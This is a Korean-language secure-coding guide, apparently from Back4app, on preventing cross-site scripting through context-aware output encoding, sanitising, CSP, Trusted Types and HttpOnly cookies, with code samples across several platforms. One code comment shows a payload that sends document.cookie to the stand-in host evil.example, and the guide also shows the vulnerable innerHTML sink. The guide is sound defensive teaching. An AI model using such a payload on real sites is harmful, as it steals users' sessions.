크로스 사이트 스크립팅(XSS)은 신뢰받는 페이지에 악성 스크립트를 주입하는 공격이며, 방지의 핵심은 컨텍스트별 출력 인코딩입니다. 브라우저는 자기 신뢰의 희생자입니다. 정상적인 출처의 페이지 안에 실려 도착한 스크립트는 그 페이지의 모든 권한, 즉 세션, 스토리지, 사용자가 할 수 있는 모든 동작을 그대로 가지고 실행됩니다. 30년이 지난 지금도 CWE-79가 가장 위험한 취약점 순위의 맨 위를 차지하는 이유는, 근본 원인이 템플릿 하나하나에서 반복해서 만들어지기 때문입니다. 신뢰할 수 없는 입력이 인코딩 없이 출력에 도달하는 것입니다.
핵심 요약
| 질문 | 답변 |
|---|---|
| 세 가지 유형 | 저장형(DB 안) · 반사형(URL 안) · DOM 기반(클라이언트 JS 안) |
| 주된 방어 수단 | 컨텍스트 인식 출력 인코딩 – 렌더링 시점에, 출력 위치별로 |
| 모두가 거꾸로 아는 규칙 | 정확성을 위해 검증하고, 안전을 위해 인코딩합니다 – 검증만으로는 안 됩니다 |
| 프레임워크 | 기본적으로 자동 이스케이프 – 탈출구(v-html, dangerouslySetInnerHTML)를 쓰기 전까지 |
| 안전망 | 엄격한 CSP · Trusted Types · HttpOnly 쿠키 – 완화책이지 해결책이 아닙니다 |
취약한 코드 한 줄
// 버그 – 사용자 데이터가 HTML 싱크와 만남
commentEl.innerHTML = comment.text;
// 누군가는 결국 제출하게 될 페이로드:
// <img src=x onerror="fetch('https://evil.example/?c='+document.cookie)">
// 모든 독자의 브라우저가 독자 자신의 세션으로 이를 실행함.
// 수정 – 같은 데이터, 텍스트 컨텍스트
commentEl.textContent = comment.text; // 마크업은 표시될 뿐, 실행되지 않음
이 수정의 바탕에 있는 원칙, 즉 원본 그대로 저장하고 안전하게 렌더링하는 방식을 스택 전반에 적용하면 다음과 같습니다:
// JavaScript / Node.js — Back4app JS SDK + browser
// Store RAW, render SAFE — encoding happens at output, not at save
const comment = new Parse.Object('Comment');
comment.set('text', userInput); // saved as-is: O'Brien, 1 < 2, all fine
await comment.save();
// Rendering: textContent treats it as text — markup never executes
commentEl.textContent = comment.get('text'); // safe by construction
// commentEl.innerHTML = comment.get('text'); // ← the XSS sink // Flutter / Dart — Back4app Flutter SDK
// Store RAW, render SAFE — Flutter's Text() treats data as text, not markup
final comment = ParseObject('Comment')..set('text', userInput);
await comment.save(); // saved as-is — no encoding at write time
// Text() cannot execute markup — XSS needs an HTML context to exist
Text(comment.get<String>('text') ?? '');
// Danger returns with WebViews: never loadHtmlString() raw user content // iOS / Swift — Back4app Swift SDK
// Store RAW, render SAFE — UILabel treats data as text, not markup
var comment = Comment()
comment.text = userInput
try await comment.save() // saved as-is — no encoding at write time
label.text = comment.text // safe: text, not HTML
// Danger returns with WKWebView: never loadHTMLString() raw user content // Android / Kotlin — Back4app Android SDK
// Store RAW, render SAFE — TextView treats data as text, not markup
val comment = ParseObject("Comment")
comment.put("text", userInput)
comment.save() // saved as-is — no encoding at write time
textView.text = comment.getString("text") // safe: text, not HTML
// Danger returns with WebViews: never loadData() with raw user content 저장형 vs. 반사형 vs. DOM 기반 XSS
| 저장형(지속형) | 반사형 | DOM 기반 | |
|---|---|---|---|
| 페이로드 위치 | 데이터베이스 안 | 조작된 URL 안 | 클라이언트 측 데이터 흐름 안 |
| 피해자 | 페이지를 보는 모든 사람 | 링크를 클릭한 사람 | 해당 페이지 상태에 도달한 사람 |
| 서버가 보는지 | 예 – 쓰기 시점에 | 예 – 요청마다 그대로 반환 | 대부분 보지 못함 |
| 대표적인 경로 | 댓글, 프로필, 메시지 | 검색어 반환, 오류 페이지 | location.hash → innerHTML |
| 심각도에 대한 합의 | 가장 위험함 | 표적형, 링크에 의존 | 서버 로그와 WAF에 보이지 않음 |
주된 방어 수단: 컨텍스트 인식 출력 인코딩
핵심 규칙을 분명하게 말해 두겠습니다. 검색 결과 상위의 권위 있는 자료들은 이 규칙을 깊숙이 묻어 두기 때문입니다. 같은 문자열이 어떤 곳에서는 안전하고 다른 곳에서는 치명적입니다. 그래서 인코딩은 출력 시점에, 출력 위치별로 이루어지며, 입력 검증만으로는 항상 실패합니다. 입력 시점에는 컨텍스트를 알 수 없고, 차단 목록은 인코딩 기법으로 우회되며, 검증을 보안 수단으로 쓰면 정상적인 데이터(O'Brien, 1 < 2)가 깨집니다.
| 출력 컨텍스트 | 인코딩 방법 | 흔한 실수 |
|---|---|---|
| HTML 본문 | & < > " '를 엔티티 인코딩 | ”그냥 텍스트일 뿐”이라고 믿는 것 |
| HTML 속성 | 엔티티 인코딩 + 속성을 항상 따옴표로 감쌈 | 따옴표 없는 속성 – 공백으로 탈출됨 |
| JavaScript 문자열 | 직렬화기를 통한 \uXXXX 이스케이프 | 사용자 데이터를 인라인 JS에 이어 붙이는 것 |
| URL / href | 퍼센트 인코딩 + 스킴 검증 | javascript: URL은 HTML 인코딩을 문제없이 통과함 |
| CSS 값 | 엄격한 허용 목록, 속성 값에만 | 사용자가 제어하는 style 블록 |
| 페이지 내 JSON | JSON 직렬화 + </script> 이스케이프 | 하이드레이션 블롭 window.__STATE__ = … |
사용자가 리치 텍스트나 마크다운처럼 정당하게 HTML을 작성하는 경우에는 인코딩이 그 내용을 망가뜨립니다. 이것이 바로 새니타이징이 맡는 유일한 역할입니다. 유지 관리되는 라이브러리(DOMPurify)가 실행 가능한 구조를 제거하며, 그 출력은 손대지 않고 그대로 사용해야 합니다. 새니타이징된 문자열을 다시 수정하면 새니타이징의 효과가 사라집니다.
프레임워크: 기본은 이스케이프, 위험은 탈출구에서
최신 프레임워크는 고전적인 XSS의 대부분을 없앴습니다. 보간된 값은 자동으로 이스케이프됩니다. 하지만 약관의 세부 조항 두 가지가 이 버그를 살려 둡니다. 첫째, 모든 프레임워크에는 우회 수단이 있으며, 하나하나가 코드 리뷰에서 grep으로 찾아야 할 대상입니다:
| 프레임워크 | 기본 이스케이프 대상 | 탈출구 |
|---|---|---|
| React | JSX 보간 | dangerouslySetInnerHTML |
| Vue | {{ }} 템플릿 | v-html |
| Angular | 보간 + 새니타이저 | bypassSecurityTrustHtml 및 유사 API |
| Svelte | 템플릿 표현식 | {@html …} |
| 서버 템플릿 | 자동 이스케이프 모드 | | safe / | raw 필터 |
둘째, 자동 이스케이프는 HTML 본문 컨텍스트만 다룹니다. 사용자 데이터에 바인딩된 href는 여전히 javascript: URL을 실행하고, 인라인 스크립트에 데이터를 넣을 때는 여전히 JS 컨텍스트 인코딩이 필요합니다. 작업 흐름상의 해답은 이렇습니다. 어떤 탈출구든 쓰기 전에 새니타이징하고, 바인딩된 링크의 URL 스킴을 검증하고, 탈출구를 린트로 잡아내(react/no-danger 등) 예외가 언제나 의도된 것으로 남게 해야 합니다.
심층 방어: CSP, Trusted Types, HttpOnly
안전망의 역할을 있는 그대로 정리하면 다음과 같습니다. 엄격한 콘텐츠 보안 정책(CSP)은 버그가 배포되더라도 주입된 인라인 스크립트를 차단합니다:
Content-Security-Policy:
script-src 'nonce-{random-per-response}' 'strict-dynamic';
object-src 'none'; base-uri 'none'
허용 목록 기반이 아니라 논스 기반이어야 합니다. 호스트 허용 목록은 우회되는 경우가 많아서 OWASP 치트 시트는 CSP가 “주된 방어 수단이 되어서는 안 된다”고 강조합니다. 먼저 Report-Only 모드로 도입하는 것이 좋습니다. Trusted Types(require-trusted-types-for 'script')는 DOM XSS에 대해 한 걸음 더 나아갑니다. innerHTML 같은 위험한 싱크가 일반 문자열을 아예 거부하므로, 모든 HTML이 감사 가능한 단 하나의 정책을 거치게 됩니다. 그리고 HttpOnly 쿠키는 정확히 한 가지, 즉 주입된 스크립트가 세션 쿠키를 읽지 못하게 하는 것만 보호합니다. 이것이 중요한 이유는 localStorage에 있는 토큰이 localStorage.getItem 한 번이면 유출되기 때문입니다. JWT 저장 지침과 이 글은 같은 주장을 양쪽에서 바라본 것입니다. 셋 중 어느 것도 버그를 고치지는 못하지만, 셋 모두 공격자가 그 버그로 얻을 수 있는 것을 줄여 줍니다.
백엔드의 몫
XSS는 프론트엔드 문제처럼 보이지만, 그 일부는 API의 몫입니다. 원본 그대로 저장하고, 출력 시점에 인코딩해야 합니다. 쓰기 시점에 인코딩하면 데이터가 손상되고, 왕복할 때마다 이중 인코딩되며, 예측하지 못한 컨텍스트는 여전히 놓칩니다. 콘텐츠 타입 규율: JSON 응답은 Content-Type: application/json과 함께 X-Content-Type-Options: nosniff를 선언해야 합니다. 브라우저가 HTML로 스니핑할 수 있는 응답에 반사된 파라미터는 단계가 몇 개 더 붙었을 뿐 그 자체로 XSS이기 때문입니다. URL이나 파라미터를 그대로 보여 주는 오류 페이지는 아무도 코드 리뷰하지 않는 고전적인 반사형 싱크입니다. 그리고 한 문장으로 짚어 둘 인접한 함정이 있습니다. 사용자 입력을 데이터가 아니라 템플릿으로 렌더링하면 XSS를 넘어 서버 측 템플릿 인젝션으로 번집니다. 사용자 입력은 템플릿 데이터일 뿐, 결코 템플릿 소스가 아닙니다.
일반적인 사용 사례
이러한 방어가 제 몫을 하는 곳은 다음과 같습니다:
- 댓글, 리뷰, 메시지 – 저장형 XSS의 영역입니다. 표시되는 모든 곳에서 렌더링 시 인코딩해야 합니다.
- 리치 텍스트와 마크다운 – 정당한 HTML의 경우입니다. 렌더링 시 새니타이징하고, 새니타이저를 최신 상태로 유지해야 합니다.
- 검색, 필터, 오류 페이지 – 반사형의 영역입니다. 요청 데이터를 그대로 돌려주는 모든 곳은 이를 인코딩해야 합니다.
- URL 상태로 라우팅하는 SPA – DOM의 영역입니다. 프래그먼트와 쿼리 데이터가 새니타이징 없이
innerHTML에 닿아서는 안 됩니다. - 모바일 WebView – 네이티브 앱의 XSS 공격 표면입니다. 가공하지 않은 사용자 콘텐츠를 HTML로 로드해서는 안 됩니다.
어떤 방어부터 적용해야 할까? 결정 매트릭스
| 상황 | 해야 할 일 |
|---|---|
| 사용자 텍스트 표시 | 프레임워크 보간 / textContent – 그 이상은 필요 없음 |
| 사용자가 작성한 HTML 렌더링 | DOMPurify로 새니타이징하고 출력을 그대로 사용 |
| 링크 안의 사용자 데이터 | 스킴 허용 목록(https:)을 검증한 뒤 인코딩 |
| 페이지 내 인라인 JSON/상태 | 스크립트에 안전한 이스케이프로 JSON 직렬화 |
| 위 항목 중 무엇이든 배포할 때 | 엄격한 논스 CSP를 Report-Only로 적용한 뒤 강제 |
| 기존 코드 감사 | 탈출구와 싱크를 grep으로 찾아 린트하고, 컨텍스트별 페이로드로 테스트 |
한계와 트레이드오프
- 인코딩은 컨텍스트에 정확히 맞아야 합니다. URL이나 스크립트 블록에 바인딩된 데이터를 HTML 인코딩하는 것은 안전하다는 착각을 주는 패턴입니다. 방어 수단은 맞지만 컨텍스트가 틀려서 여전히 악용될 수 있습니다.
- 새니타이저는 의존성입니다. 우회 기법은 공개되기 마련이고, 버전이 고정된 채 방치된 새니타이저는 변경 이력이 딸린 취약점으로 조용히 바뀝니다.
- CSP에는 엔지니어링 비용이 듭니다. 논스는 모든 script 태그와 인라인 핸들러에 영향을 줍니다. 레거시 코드베이스에 엄격한 CSP를 도입하는 일은 하나의 프로젝트이며, Report-Only가 존재하는 이유도 그 때문입니다.
- Trusted Types는 도입 범위에 한계가 있습니다. 최신 브라우저 전반에서 동작하게 된 것은 2026년 초부터이므로 구형 브라우저는 이를 무시합니다. 보장이 아니라 인코딩 위에 얹는 강화 수단으로 취급해야 합니다.
- WAF는 해답이 아닙니다. 패턴 매칭 필터는 알려진 페이로드는 잡지만 인코딩과 변형은 놓칩니다. OWASP 자체의 지침도 WAF를 XSS 방어 수단으로는 신뢰할 수 없다고 봅니다.
Back4app에서의 XSS 방지
Back4app은 관리형 데이터베이스, 자동 생성되는 REST 및 GraphQL API, 인증, 파일 스토리지, Cloud Code 서버리스 함수를 결합한 오픈소스 Backend as a Service(BaaS) 플랫폼입니다. 이 규율 가운데 백엔드의 몫은 기본으로 갖춰져 있습니다. 데이터는 원본 그대로 저장되고 올바른 콘텐츠 타입과 함께 JSON API로 반환되며, 서버 측에서 HTML로 렌더링되는 일은 없습니다. 따라서 출력 시점 인코딩의 책임은 깔끔하게 UI 계층에 놓이며, 위의 코드 탭은 플랫폼별로 원본 저장/안전한 렌더링 패턴을 보여 줍니다. 영향 범위를 줄이는 통제도 이미 켜져 있습니다. 세션은 오래 유지되는 localStorage 자격 증명이 아니라 폐기 가능한 토큰에 의존하며, ACL과 클래스 수준 권한이 사용자로서 실행되는 스크립트가 건드릴 수 있는 범위를 제한합니다. 주입된 페이로드가 물려받는 것은 데이터베이스 전체가 아니라 피해자의 권한입니다. 남은 서버 측 보안 점검 작업을 맡기기에는 Cloud Code가 적합합니다. beforeSave에서 URL 필드를 스킴 허용 목록과 대조해 검증하고 리치 텍스트 필드를 한 번 새니타이징해 두면, 모든 클라이언트가 똑같이 방어된 콘텐츠를 렌더링합니다.
자주 묻는 질문
XSS를 쉽게 설명하면 무엇입니까?
공격자가 댓글, 조작된 링크, 프로필 필드 등을 통해 다른 사람들이 보는 페이지에 자신의 JavaScript를 몰래 심고, 피해자의 브라우저가 그것을 사이트가 직접 작성한 코드처럼 실행하는 공격입니다. 그때부터 스크립트는 피해자가 할 수 있는 모든 일을 할 수 있습니다. 피해자의 데이터를 읽고, 피해자로 행세하고, 세션을 탈취합니다.
XSS 공격의 예로는 무엇이 있습니까?
출력을 인코딩하지 않는 댓글 필드가 대표적입니다. script 태그를 댓글로 제출하면 그 댓글을 읽는 모든 사람의 브라우저에서 실행됩니다. 개념 증명용 페이로드는 경고창을 띄우는 데 그치지만, 실제 공격 페이로드는 피해자의 세션 쿠키나 토큰을 공격자에게 보냅니다.
저장형, 반사형, DOM 기반 XSS의 차이는 무엇입니까?
페이로드가 이동하는 경로의 차이입니다. 저장형 XSS는 데이터베이스에 저장되어 해당 페이지를 보는 모든 사람을 공격합니다. 반사형 XSS는 조작된 URL에 실려 그 링크를 클릭한 사람을 공격합니다. DOM 기반 XSS는 전적으로 클라이언트 측 JavaScript 안에서 일어납니다. 공격자의 데이터가 URL 프래그먼트 같은 소스에서 innerHTML 같은 싱크로 흘러 들어가며, 때로는 서버를 전혀 거치지 않습니다.
XSS는 어떻게 방지합니까?
우선순위대로 정리하면, 렌더링 시점의 컨텍스트 인식 출력 인코딩(주된 방어 수단), 보조 계층으로서의 입력 검증, 사용자가 실제 HTML을 작성할 수 있는 경우의 새니타이징 라이브러리, API의 올바른 콘텐츠 타입 헤더, 안전망으로서의 엄격한 콘텐츠 보안 정책, 그리고 공격이 성공했을 때 훔칠 수 있는 것을 제한하는 HttpOnly 쿠키입니다.
출력 인코딩, 입력 검증, 새니타이징 중 무엇을 써야 합니까?
각각 하는 일이 다릅니다. 인코딩은 출력 시점에 문자를 변환해 데이터가 실행되지 않고 텍스트로 표시되게 하며, 컨텍스트별로 선택하는 주된 방어 수단입니다. 검증은 데이터가 들어오는 시점에 형식이 잘못된 입력을 거부합니다. 정확성에는 유용하지만 안전에는 충분하지 않습니다. 위험은 데이터가 어디에 출력되느냐에 달려 있기 때문입니다. 새니타이징은 HTML로 렌더링하려는 HTML에서 안전하지 않은 구조를 제거합니다.
콘텐츠 보안 정책(CSP)은 XSS를 막습니까?
논스 기반의 엄격한 CSP는 버그가 존재하더라도 주입된 인라인 스크립트를 차단하므로 진정한 심층 방어입니다. 하지만 해결책이 아니라 백업입니다. 허용 목록 방식의 정책은 우회되는 경우가 많고, OWASP 지침은 CSP가 결코 주된 방어 수단이 되어서는 안 된다고 명시합니다.
React와 Vue는 XSS를 자동으로 방지합니까?
대부분은 그렇습니다. 템플릿 보간은 값을 자동으로 이스케이프하며, 이것으로 여러 버그 유형이 통째로 사라졌습니다. 하지만 모든 프레임워크에는 XSS를 그대로 되살리는 탈출구가 있습니다. React의 dangerouslySetInnerHTML, Vue의 v-html, Angular의 신뢰 우회 API가 그렇고, 자동 이스케이프가 처음부터 다루지 않았던 href 바인딩의 javascript: URL도 있습니다.
XSS와 CSRF의 차이는 무엇입니까?
능력의 차이입니다. XSS는 피해자의 브라우저에서 공격자의 코드를 실행합니다. 양방향이므로 응답을 읽을 수 있고 사용자가 할 수 있는 모든 일을 할 수 있습니다. CSRF는 브라우저를 속여 위조된 요청을 보내게 할 뿐입니다. 단방향이고, 응답을 읽을 수 없으며, 활성 세션에 의존합니다. XSS가 더 심각한 유형이며, XSS 버그 하나로 CSRF 방어를 무력화할 수 있습니다.